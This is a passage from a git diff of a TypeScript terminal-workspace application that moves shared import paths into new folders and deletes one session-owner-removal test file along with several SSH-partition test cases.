b/src/main/persistence/restoring-sessions/invalid-workspace-layout-purge.ts index e12353eb29c..8e006141893 100644 --- a/src/main/persistence/restoring-sessions/invalid-workspace-layout-purge.ts +++ b/src/main/persistence/restoring-sessions/invalid-workspace-layout-purge.ts @@ -1,8 +1,11 @@ // Main and renderer must share workspace validity or load will resurrect layouts one side discarded. -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/constants' -import { parseExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../../shared/workspace/identity/floating-workspace-id' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { isWorktreeCatalogVersionBefore } from '../../../shared/worktree/catalog/catalog-version' diff --git a/src/main/persistence/restoring-sessions/pane-alias-normalization.ts b/src/main/persistence/restoring-sessions/pane-alias-normalization.ts index 6cd15cf5a34..69569b3047d 100644 --- a/src/main/persistence/restoring-sessions/pane-alias-normalization.ts +++ b/src/main/persistence/restoring-sessions/pane-alias-normalization.ts @@ -1,4 +1,4 @@ -import type { LegacyPaneKeyAliasEntry } from '../../../shared/persisted-state-types' +import type { LegacyPaneKeyAliasEntry } from '../../../shared/orca-profiles/persisted-state-types' import type { MigrationUnsupportedPtyEntry } from '../../../shared/agent-status/contracts/agent-status-ipc-payload' import { canRegisterPaneKeyAlias, diff --git a/src/main/persistence/restoring-sessions/pane-identity-migration.ts b/src/main/persistence/restoring-sessions/pane-identity-migration.ts index ec8fa7796a7..35a134b2cbe 100644 --- a/src/main/persistence/restoring-sessions/pane-identity-migration.ts +++ b/src/main/persistence/restoring-sessions/pane-identity-migration.ts @@ -1,5 +1,5 @@ import type { ProfileStateStartupPaneAlias } from '../loading-store/profile-writing/profile-state-authority' -import type { LegacyPaneKeyAliasEntry } from '../../../shared/persisted-state-types' +import type { LegacyPaneKeyAliasEntry } from '../../../shared/orca-profiles/persisted-state-types' import type { TerminalLayoutSnapshot, TerminalTab diff --git a/src/main/persistence/restoring-sessions/pane-key-remapping.ts b/src/main/persistence/restoring-sessions/pane-key-remapping.ts index 90fe97a7197..2d2d4d04912 100644 --- a/src/main/persistence/restoring-sessions/pane-key-remapping.ts +++ b/src/main/persistence/restoring-sessions/pane-key-remapping.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { isTerminalLeafId, makePaneKey, diff --git a/src/main/persistence/restoring-sessions/persistence-tab-terminal-pane-binding-load.test.ts b/src/main/persistence/restoring-sessions/persistence-tab-terminal-pane-binding-load.test.ts index fe72c80557f..d7223916d7e 100644 --- a/src/main/persistence/restoring-sessions/persistence-tab-terminal-pane-binding-load.test.ts +++ b/src/main/persistence/restoring-sessions/persistence-tab-terminal-pane-binding-load.test.ts @@ -10,7 +10,7 @@ import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest' import { rmSync, mkdtempSync } from 'node:fs' import { join } from 'node:path' import { tmpdir } from 'node:os' -import { getDefaultWorkspaceSession } from '../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' const layoutOwner = vi.hoisted(() => ({ isMain: true })) diff --git a/src/main/persistence/restoring-sessions/session-owner-removal.test.ts b/src/main/persistence/restoring-sessions/session-owner-removal.test.ts deleted file mode 100644 index 6d9b1158ce1..00000000000 --- a/src/main/persistence/restoring-sessions/session-owner-removal.test.ts +++ /dev/null @@ -1,122 +0,0 @@ -import { describe, expect, it } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../shared/constants' -import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' -import { removeWorkspaceSessionOwners } from './session-owner-removal' - -const GONE = 'repo-1::/workspaces/gone' -const KEPT = 'repo-1::/workspaces/kept' - -type Workspace = { id: string; name: string } - -const entries = (workspaces: Workspace[], entry: (workspace: Workspace) => [string, T][]) => - Object.fromEntries(workspaces.flatMap(entry)) - -/** Every per-workspace field a workspace can own, keyed by owner, tab or pane. */ -function sessionFor(...workspaces: Workspace[]): WorkspaceSessionState { - // Why a unified-only terminal: its legacy row can be gone while its layout and scrollback remain. - const terminal = ({ name }: Workspace) => `${name}-terminal` - const unifiedTerminal = ({ name }: Workspace) => `${name}-unified-terminal` - const filePath = ({ name }: Workspace) => `/workspaces/${name}/README.md` - const emptyLayout = { root: null, activeLeafId: null, expandedLeafId: null } - return { - ...getDefaultWorkspaceSession(), - tabsByWorktree: entries(workspaces, (w) => [ - [ - w.id, - [ - { - id: terminal(w), - ptyId: null, - worktreeId: w.id, - title: 'Terminal 1', - customTitle: null, - color: null, - sortOrder: 0, - createdAt: 1 - } - ] - ] - ]), - unifiedTabs: entries(workspaces, (w) => [ - [ - w.id, - [ - { - id: unifiedTerminal(w), - entityId: unifiedTerminal(w), - groupId: `${w.name}-group`, - worktreeId: w.id, - contentType: 'terminal', - label: 'Terminal 2', - customLabel: null, - color: null, - sortOrder: 1, - createdAt: 1 - } - ] - ] - ]), - tabGroups: entries(workspaces, (w) => [ - [ - w.id, - [ - { - id: `${w.name}-group`, - worktreeId: w.id, - activeTabId: unifiedTerminal(w), - tabOrder: [unifiedTerminal(w)] - } - ] - ] - ]), - tabGroupLayouts: entries(workspaces, (w) => [ - [w.id, { type: 'leaf', groupId: `${w.name}-group` }] - ]), - activeGroupIdByWorktree: entries(workspaces, (w) => [[w.id, `${w.name}-group`]]), - activeTabIdByWorktree: entries(workspaces, (w) => [[w.id, terminal(w)]]), - activeTabTypeByWorktree: entries(workspaces, (w) => [[w.id, 'terminal']]), - terminalLayoutsByTabId: entries(workspaces, (w) => [ - [terminal(w), emptyLayout], - [unifiedTerminal(w), emptyLayout] - ]), - localOnlyScrollbackByTabId: entries(workspaces, (w) => [ - [unifiedTerminal(w), { leaf: 'scrollback' }] - ]), - remoteSessionIdsByTabId: entries(workspaces, (w) => [[terminal(w), `${w.name}-relay`]]), - terminalPtyIncarnationsByPaneKey: entries(workspaces, (w) => [ - [`${unifiedTerminal(w)}:leaf`, `${w.name}-incarnation`] - ]), - openFilesByWorktree: entries(workspaces, (w) => [ - [ - w.id, - [ - { - filePath: filePath(w), - relativePath: 'README.md', - worktreeId: w.id, - language: 'markdown' - } - ] - ] - ]), - activeFileIdByWorktree: entries(workspaces, (w) => [[w.id, filePath(w)]]), - markdownFrontmatterVisible: entries(workspaces, (w) => [[filePath(w), false]]), - defaultTerminalTabsAppliedByWorktreeId: entries(workspaces, (w) => [[w.id, true]]), - lastVisitedAtByWorktreeId: entries(workspaces, (w) => [[w.id, 1]]), - closedTerminalTabTombstonesByTabId: entries(workspaces, (w) => [ - [`${w.name}-closed`, { closedAt: 1, worktreeId: w.id }] - ]), - activeWorktreeIdsOnShutdown: workspaces.map((w) => w.id) - } -} - -describe('removeWorkspaceSessionOwners', () => { - it('drops every owner-, tab- and pane-keyed entry of a removed workspace and keeps its sibling', () => { - const gone = { id: GONE, name: 'gone' } - const kept = { id: KEPT, name: 'kept' } - - const next = removeWorkspaceSessionOwners(sessionFor(gone, kept), new Set([GONE])) - - expect(next).toEqual(sessionFor(kept)) - }) -}) diff --git a/src/main/persistence/restoring-sessions/session-owner-removal.ts b/src/main/persistence/restoring-sessions/session-owner-removal.ts index 285b189177f..d5dd9749774 100644 --- a/src/main/persistence/restoring-sessions/session-owner-removal.ts +++ b/src/main/persistence/restoring-sessions/session-owner-removal.ts @@ -1,10 +1,10 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import '../../../shared/workspace-session/workspace-session-partition-owner' import { getWorktreeIdFromHostIdentity, diff --git a/src/main/persistence/restoring-sessions/session-worktree-ownership.ts b/src/main/persistence/restoring-sessions/session-worktree-ownership.ts index 184575e0a4d..9dedf6d14a5 100644 --- a/src/main/persistence/restoring-sessions/session-worktree-ownership.ts +++ b/src/main/persistence/restoring-sessions/session-worktree-ownership.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { parseWorkspaceKey } from '../../../shared/workspace/identity/workspace-scope' import { diff --git a/src/main/persistence/restoring-sessions/tab-terminal-pane-binding-repair.test.ts b/src/main/persistence/restoring-sessions/tab-terminal-pane-binding-repair.test.ts index cd8c0080ec2..9e08a528e58 100644 --- a/src/main/persistence/restoring-sessions/tab-terminal-pane-binding-repair.test.ts +++ b/src/main/persistence/restoring-sessions/tab-terminal-pane-binding-repair.test.ts @@ -1,12 +1,11 @@ // Recover tab-only terminal bindings before panes mount so main's frames and saves retain them. import { describe, expect, it } from 'vitest' -import { getDefaultPersistedState } from '../../../shared/constants' +import { getDefaultPersistedState } from '../../../shared/orca-profiles/constants' import { LOCAL_EXECUTION_HOST_ID, - toSshExecutionHostId, type ExecutionHostId -} from '../../../shared/execution-host' +} from '../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { addWorkspace, @@ -20,8 +19,6 @@ import { bindTabTerminalPanesInSession } from './tab-terminal-pane-binding-repair' -const SSH_HOST = toSshExecutionHostId('box') - function tabLevelSession( key: string, hostId: ExecutionHostId = LOCAL_EXECUTION_HOST_ID, @@ -45,13 +42,6 @@ const bindings = (session: WorkspaceSessionState, tabId = 'tab-a') => session.terminalLayoutsByTabId[tabId]?.ptyIdsByLeafId describe("load repair: a tab's own terminal and its unbound pane", () => { - it("binds an SSH tab's relay session id, never its row's id, as reconnect does", () => { - const stored = tabLevelSession(SSH_KEY, SSH_HOST) - expect(repair(stored, true)).toBe(stored) - stored.remoteSessionIdsByTabId = { 'tab-a': 'ssh:box@@pty-9' } - expect(bindings(repair(stored, true))).toEqual({ [leaf(1)]: 'ssh:box@@pty-9' }) - }) - it('binds one of two tabs naming the same terminal, never both', () => { const stored = addWorkspace(emptySession(), GIT_KEY, [ { diff --git a/src/main/persistence/restoring-sessions/tab-terminal-pane-binding-repair.ts b/src/main/persistence/restoring-sessions/tab-terminal-pane-binding-repair.ts index fb92f1e67b0..2ede48231ae 100644 --- a/src/main/persistence/restoring-sessions/tab-terminal-pane-binding-repair.ts +++ b/src/main/persistence/restoring-sessions/tab-terminal-pane-binding-repair.ts @@ -1,5 +1,5 @@ -import { parseExecutionHostId } from '../../../shared/execution-host' -import type { PersistedState } from '../../../shared/persisted-state-types' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { TerminalLayoutSnapshot } from '../../../shared/workspace-layout/terminal-tab-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import { getRepoIdFromWorktreeId } from '../../../shared/worktree/id' diff --git a/src/main/persistence/restoring-sessions/workspace-pane-normalization.ts b/src/main/persistence/restoring-sessions/workspace-pane-normalization.ts index fb9f680f555..ca130c02f35 100644 --- a/src/main/persistence/restoring-sessions/workspace-pane-normalization.ts +++ b/src/main/persistence/restoring-sessions/workspace-pane-normalization.ts @@ -1,13 +1,13 @@ -import type { LegacyPaneKeyAliasEntry, PersistedState } from '../../../shared/persisted-state-types' +import type { + LegacyPaneKeyAliasEntry, + PersistedState +} from '../../../shared/orca-profiles/persisted-state-types' import type { TerminalLayoutSnapshot } from '../../../shared/workspace-layout/terminal-tab-types' import type { WorkspaceSessionState } from '../../../shared/workspace-session/workspace-session-state-types' import type { MigrationUnsupportedPtyEntry } from '../../../shared/agent-status/contracts/agent-status-ipc-payload' import { agentHookServer } from '../../agent-hooks/server/agent-hook-server' -import { - LOCAL_EXECUTION_HOST_ID, - toSshExecutionHostId, - type ExecutionHostId -} from '../../../shared/execution-host' +// oxfmt-ignore +import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId, type ExecutionHostId } from '../../../shared/execution-host/execution-host' import type { SshRemotePtyLease } from '../../../shared/remote-runtime/ssh/ssh-types' import { isTerminalLeafId, parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id' import { findCrossHostPaneTabIds, withoutPaneTabIds } from './cross-host-pane-tab-ids' diff --git a/src/main/persistence/scheduling-automations/automation-context-migration.ts b/src/main/persistence/scheduling-automations/automation-context-migration.ts index e135e242ede..946cd0a4b37 100644 --- a/src/main/persistence/scheduling-automations/automation-context-migration.ts +++ b/src/main/persistence/scheduling-automations/automation-context-migration.ts @@ -10,7 +10,7 @@ import type { AutomationRun, AutomationRunOutputSnapshot } from '../../../shared/automations/history/automation-run' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import type { ProjectHostSetup } from '../../../shared/project/project-types' import type { Repo } from '../../../shared/repository/repo-types' import { normalizeAutomationPrecheck } from '../../../shared/automations/launch/automation-precheck' @@ -22,7 +22,10 @@ import { buildTaskSourceContextFromRepo, buildWorkspaceRunContext } from '../../../shared/work-items/task-source-context' -import { getRepoExecutionHostId, parseExecutionHostId } from '../../../shared/execution-host' +import { + getRepoExecutionHostId, + parseExecutionHostId +} from '../../../shared/execution-host/execution-host' import { parsePaneKey } from '../../../shared/workspace-layout/stable-pane-id' export function normalizeAutomationRunWorkspaceDisplayName(value: string | null): string | null { diff --git a/src/main/persistence/scheduling-automations/automation-definition-operations.ts b/src/main/persistence/scheduling-automations/automation-definition-operations.ts index 1a67fa46306..6979e31051c 100644 --- a/src/main/persistence/scheduling-automations/automation-definition-operations.ts +++ b/src/main/persistence/scheduling-automations/automation-definition-operations.ts @@ -1,5 +1,5 @@ import { automationCreateIdentity } from './automation-create-identity' -import { getRepoSshConnectionId } from '../../../shared/execution-host' +import { getRepoSshConnectionId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { findAutomationRepoForWrite } from '../../../shared/automations/ownership/automation-repo-target' import { @@ -12,7 +12,7 @@ import type { AutomationCreateInput } from '../../../shared/automations/automation-definition' import type { AutomationRun } from '../../../shared/automations/history/automation-run' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { normalizeAutomationPrecheck } from '../../../shared/automations/launch/automation-precheck' import { assertAutomationExtraAgentArgs, diff --git a/src/main/persistence/scheduling-automations/automation-definition-update.ts b/src/main/persistence/scheduling-automations/automation-definition-update.ts index 8578441ad5c..a7f0a91e700 100644 --- a/src/main/persistence/scheduling-automations/automation-definition-update.ts +++ b/src/main/persistence/scheduling-automations/automation-definition-update.ts @@ -1,5 +1,5 @@ import { retainAutomationReselectionContexts } from './automation-host-reselection' -import { getRepoSshConnectionId } from '../../../shared/execution-host' +import { getRepoSshConnectionId } from '../../../shared/execution-host/execution-host' import type { Repo } from '../../../shared/repository/repo-types' import { findAutomationRepoForWrite } from '../../../shared/automations/ownership/automation-repo-target' import { diff --git a/src/main/persistence/scheduling-automations/automation-host-reselection.ts b/src/main/persistence/scheduling-automations/automation-host-reselection.ts index a7c46e68b84..f25950daf47 100644 --- a/src/main/persistence/scheduling-automations/automation-host-reselection.ts +++ b/src/main/persistence/scheduling-automations/automation-host-reselection.ts @@ -2,7 +2,7 @@ import type { Automation, AutomationUpdateInput } from '../../../shared/automations/automation-definition' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { AUTOMATION_ORPHAN_ISSUES, projectAutomationSelector, @@ -14,7 +14,7 @@ import { AutomationOwnerConflictError } from '../../../shared/automations/ownership/automation-owner-conflict' import { findAutomationRepo } from '../../../shared/automations/ownership/automation-repo-target' -import { parseExecutionHostId } from '../../../shared/execution-host' +import { parseExecutionHostId } from '../../../shared/execution-host/execution-host' import { areTaskSourceContextsEqual } from '../../../shared/work-items/task-source-context' /** Verify the original physical target in the same transaction that adopts its registration. */ diff --git a/src/main/persistence/scheduling-automations/automation-owner-projection.ts b/src/main/persistence/scheduling-automations/automation-owner-projection.ts index 68e4b65e97c..c6f9f24ca18 100644 --- a/src/main/persistence/scheduling-automations/automation-owner-projection.ts +++ b/src/main/persistence/scheduling-automations/automation-owner-projection.ts @@ -1,4 +1,4 @@ -import { getRepoSshConnectionId } from '../../../shared/execution-host' +import { getRepoSshConnectionId } from '../../../shared/execution-host/execution-host' import { automationRequiresHostReselection, findAutomationRepo @@ -6,7 +6,7 @@ import { import type { Repo } from '../../../shared/repository/repo-types' import type { Automation } from '../../../shared/automations/automation-definition' import type { AutomationRun } from '../../../shared/automations/history/automation-run' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { automationCapturedHostIssue as resolveAutomationCapturedHostIssue, automationSelectorMatchesScope, diff --git a/src/main/persistence/scheduling-automations/automation-run-operations.test.ts b/src/main/persistence/scheduling-automations/automation-run-operations.test.ts index c039fe69610..06b5a554b5f 100644 --- a/src/main/persistence/scheduling-automations/automation-run-operations.test.ts +++ b/src/main/persistence/scheduling-automations/automation-run-operations.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { listAutomationRunsPage } from './automation-run-operations' diff --git a/src/main/persistence/scheduling-automations/automation-run-operations.ts b/src/main/persistence/scheduling-automations/automation-run-operations.ts index 9bbc434dcda..17444eea1f6 100644 --- a/src/main/persistence/scheduling-automations/automation-run-operations.ts +++ b/src/main/persistence/scheduling-automations/automation-run-operations.ts @@ -9,7 +9,7 @@ import type { AutomationRunsPage, AutomationRunTrigger } from '../../../shared/automations/history/automation-run' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { nextAutomationRunNumber, pruneAutomationRuns diff --git a/src/main/persistence/scheduling-automations/automation-schedule-operations.ts b/src/main/persistence/scheduling-automations/automation-schedule-operations.ts index be6f2c8ece7..6360dc2ad6d 100644 --- a/src/main/persistence/scheduling-automations/automation-schedule-operations.ts +++ b/src/main/persistence/scheduling-automations/automation-schedule-operations.ts @@ -1,5 +1,5 @@ import type { Automation } from '../../../shared/automations/automation-definition' -import type { PersistedState } from '../../../shared/persisted-state-types' +import type { PersistedState } from '../../../shared/orca-profiles/persisted-state-types' import { latestAutomationOccurrenceAtOrBefore, nextAutomationOccurrenceAfter diff --git a/src/main/persistence/terminal-topology/command-application/layout-command-commit.ts b/src/main/persistence/terminal-topology/command-application/layout-command-commit.ts index b58cde5d3b1..b441a11dd33 100644 --- a/src/main/persistence/terminal-topology/command-application/layout-command-commit.ts +++ b/src/main/persistence/terminal-topology/command-application/layout-command-commit.ts @@ -1,6 +1,9 @@ // Apply routed-partition commands first while carrying in-memory editor views through saved-session loads. -import { LOCAL_EXECUTION_HOST_ID, type ExecutionHostId } from '../../../../shared/execution-host' +import { + LOCAL_EXECUTION_HOST_ID, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { LayoutApplyOutcome, diff --git a/src/main/persistence/terminal-topology/command-application/open-in-new-group-layout-apply.test.ts b/src/main/persistence/terminal-topology/command-application/open-in-new-group-layout-apply.test.ts index c455968f62c..b4fa1d61cb6 100644 --- a/src/main/persistence/terminal-topology/command-application/open-in-new-group-layout-apply.test.ts +++ b/src/main/persistence/terminal-topology/command-application/open-in-new-group-layout-apply.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { Store } from '../../loading-store/store' import { WindowSession } from '../testing/terminal-topology-window-session-fixture' import { diff --git a/src/main/persistence/terminal-topology/command-application/terminal-layout-pane-ops.test.ts b/src/main/persistence/terminal-topology/command-application/terminal-layout-pane-ops.test.ts index e3dbdc703e4..30f36a9a703 100644 --- a/src/main/persistence/terminal-topology/command-application/terminal-layout-pane-ops.test.ts +++ b/src/main/persistence/terminal-topology/command-application/terminal-layout-pane-ops.test.ts @@ -3,7 +3,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import { applyCommandToSession } from '../pane-admission/terminal-pane-admission' import { leafIds, WindowSession } from '../testing/terminal-topology-window-session-fixture' import { diff --git a/src/main/persistence/terminal-topology/command-application/terminal-layout-renames-commit.ts b/src/main/persistence/terminal-topology/command-application/terminal-layout-renames-commit.ts index 58b895ad2fc..14da20d99e7 100644 --- a/src/main/persistence/terminal-topology/command-application/terminal-layout-renames-commit.ts +++ b/src/main/persistence/terminal-topology/command-application/terminal-layout-renames-commit.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { CommandOf, LayoutRefusalCode diff --git a/src/main/persistence/terminal-topology/command-application/terminal-layout-sleep-wake.test.ts b/src/main/persistence/terminal-topology/command-application/terminal-layout-sleep-wake.test.ts index d4b999986f5..2fc22d3e55b 100644 --- a/src/main/persistence/terminal-topology/command-application/terminal-layout-sleep-wake.test.ts +++ b/src/main/persistence/terminal-topology/command-application/terminal-layout-sleep-wake.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { SleepingAgentSessionRecord } from '../../../../shared/agent-session/lifecycle/agent-session-resume' import type { Store } from '../../loading-store/store' import { WindowSession } from '../testing/terminal-topology-window-session-fixture' @@ -116,20 +116,6 @@ describe('Store.applyLayoutCommand sleep and wake (layout.apply)', () => { }) }) - it('wakes nothing for a pane that holds no record', async () => { - const { store } = await storeWithSplitTab() - const before = store.getWorkspaceSession() - - const reply = await store.applyLayoutCommand({ - type: 'wake', - workspace: WORKTREE, - paneKeys: [`${TAB}:${LEFT}`] - }) - - expect(reply).toEqual({ ok: true, result: { woken: [] } }) - expect(store.getWorkspaceSession()).toBe(before) - }) - it('records an SSH workspace’s sleep in that host’s partition only', async () => { const { store } = await storeWithSplitTab('ssh:target-1') const left = record(LEFT, 'left-session') diff --git a/src/main/persistence/terminal-topology/layout-command-persistence.ts b/src/main/persistence/terminal-topology/layout-command-persistence.ts index 041e9a804d3..e82e2c7ca16 100644 --- a/src/main/persistence/terminal-topology/layout-command-persistence.ts +++ b/src/main/persistence/terminal-topology/layout-command-persistence.ts @@ -16,7 +16,7 @@ import type { DurableProfileStateMutation, StoreRuntimeState } from '../loading-store/store-runtime-state' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { applyLayout, applyEditorFileRenamesInPartitions, diff --git a/src/main/persistence/terminal-topology/pane-admission/persistence-runtime-admitted-terminal-membership.test.ts b/src/main/persistence/terminal-topology/pane-admission/persistence-runtime-admitted-terminal-membership.test.ts index ffc1da6f38c..133ff6e3436 100644 --- a/src/main/persistence/terminal-topology/pane-admission/persistence-runtime-admitted-terminal-membership.test.ts +++ b/src/main/persistence/terminal-topology/pane-admission/persistence-runtime-admitted-terminal-membership.test.ts @@ -3,7 +3,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { makeTerminalTab, TEST_LEAF_1, TEST_LEAF_2 } from '../../persistence-session-fixtures' diff --git a/src/main/persistence/terminal-topology/pane-admission/terminal-layout-create.test.ts b/src/main/persistence/terminal-topology/pane-admission/terminal-layout-create.test.ts index 05a81c14bcc..fe8348be05b 100644 --- a/src/main/persistence/terminal-topology/pane-admission/terminal-layout-create.test.ts +++ b/src/main/persistence/terminal-topology/pane-admission/terminal-layout-create.test.ts @@ -2,7 +2,7 @@ import { mkdtempSync, rmSync } from 'node:fs' import { tmpdir } from 'node:os' import { join } from 'node:path' import { afterEach, describe, expect, it, vi } from 'vitest' -import { getDefaultWorkspaceSession } from '../../../../shared/constants' +import { getDefaultWorkspaceSession } from '../../../../shared/orca-profiles/constants' import type { CommandOf } from '../../../../shared/workspace-layout/workspace-layout-command-types' import type { Store } from '../../loading-store/store' import { WindowSession } from '../testing/terminal-topology-window-session-fixture' @@ -84,19 +84,6 @@ describe('Store.applyLayoutCommand: a window’s terminal tab create', () => { tabOrder: [TAB, NEW_TAB] }) }) - - it('writes an SSH workspace’s tab into that host’s partition only', async () => { - const { store } = await openStore(withOneTab, 'ssh:target-1') - const local = store.getWorkspaceSession() - - const reply = await store.applyLayoutCommand(create, ['ssh:target-1']) - - expect(reply.ok).toBe(true) - expect(store.getWorkspaceSession('ssh:target-1').terminalLayoutsByTabId[NEW_TAB]?.root).toEqual( - { type: 'leaf', leafId: NEW_LEAF } - ) - expect(store.getWorkspaceSession()).toEqual(local) - }) }) describe('Store.applyLayoutCommand: a workspace’s default tabs', () => { diff --git a/src/main/persistence/terminal-topology/pane-admission/terminal-pane-admission.ts b/src/main/persistence/terminal-topology/pane-admission/terminal-pane-admission.ts index f0da56c2bda..2b2750c6b41 100644 --- a/src/main/persistence/terminal-topology/pane-admission/terminal-pane-admission.ts +++ b/src/main/persistence/terminal-topology/pane-admission/terminal-pane-admission.ts @@ -1,7 +1,7 @@ // Persist runtime pane membership before spawning through the same layout model used by client commands. import { randomUUID } from 'node:crypto' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import { leafIdsOf, diff --git a/src/main/persistence/terminal-topology/pane-admission/unstarted-pane-withdraw.ts b/src/main/persistence/terminal-topology/pane-admission/unstarted-pane-withdraw.ts index c67ea42c4b0..2400e05956d 100644 --- a/src/main/persistence/terminal-topology/pane-admission/unstarted-pane-withdraw.ts +++ b/src/main/persistence/terminal-topology/pane-admission/unstarted-pane-withdraw.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { CommandOf, LayoutRefusalCode diff --git a/src/main/persistence/terminal-topology/pane-moves/cross-partition-tab-move.ts b/src/main/persistence/terminal-topology/pane-moves/cross-partition-tab-move.ts index 669b8506020..7c22ec207c0 100644 --- a/src/main/persistence/terminal-topology/pane-moves/cross-partition-tab-move.ts +++ b/src/main/persistence/terminal-topology/pane-moves/cross-partition-tab-move.ts @@ -2,7 +2,7 @@ import type { LayoutClientVisibility } from '../../../../shared/workspace-layout/client-views/workspace-layout-client-visibility' import { randomUUID } from 'node:crypto' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../shared/workspace-session/workspace-session-state-types' import type { CommandOf, diff --git a/src/main/persistence/terminal-topology/pane-moves/terminal-leaf-move.test.ts b/src/main/persistence/terminal-topology/pane-moves/terminal-leaf-move.test.ts index 0ba41a168b5..f22e01bb302 100644 --- a/src/main/persistence/terminal-topology/pane-moves/terminal-leaf-move.test.ts +++ b/src/main/persistence/terminal-topology/pane-moves/terminal-leaf-move.test.ts @@ -1,7 +1,7 @@ import { afterEach, describe, expect, it, vi } from 'vitest' import { writeFileSync } from 'node:fs' import { tmpdir } from 'node:os' -import { toSshExecutionHostId } from '../../../../shared/execution-host' +import { toSshExecutionHostId } from '../../../../shared/execution-host/execution-host' import { _resetTracerForTests } from '../../../observability/tracer' import { makeRepo } from '../../persistence-test-harness' diff --git a/src/main/persistence/terminal-topology/pane-moves/terminal-leaf-move.ts b/src/main/persistence/terminal-topology/pane-moves/terminal-leaf-move.ts index 3d3a3f189bc..1ff73a33718 100644 --- a/src/main/persistence/terminal-topology/pane-moves/terminal-leaf-move.ts +++ b/src/main/persistence/terminal-topology/pane-moves/terminal-leaf-move.ts @@ -1,4 +1,4 @@ -import type { PersistedState } from '../../../../shared/persisted-state-types' +import type { PersistedState } from '../../../../shared/orca-profiles/persisted-state-types' import type { SshRemotePtyLease } from '../../../../shared/remote-runtime/ssh/ssh-types' import { makePaneKey } from '../../../../shared/workspace-layout/stable-pane-id' import { collectLeafIds } from '../../../../shared/workspace-layout/terminal-topology/terminal-pane-layout-tree' diff --git a/src/main/persistence/terminal-topology/pane-moves/terminal-window-pane-detach.test.ts 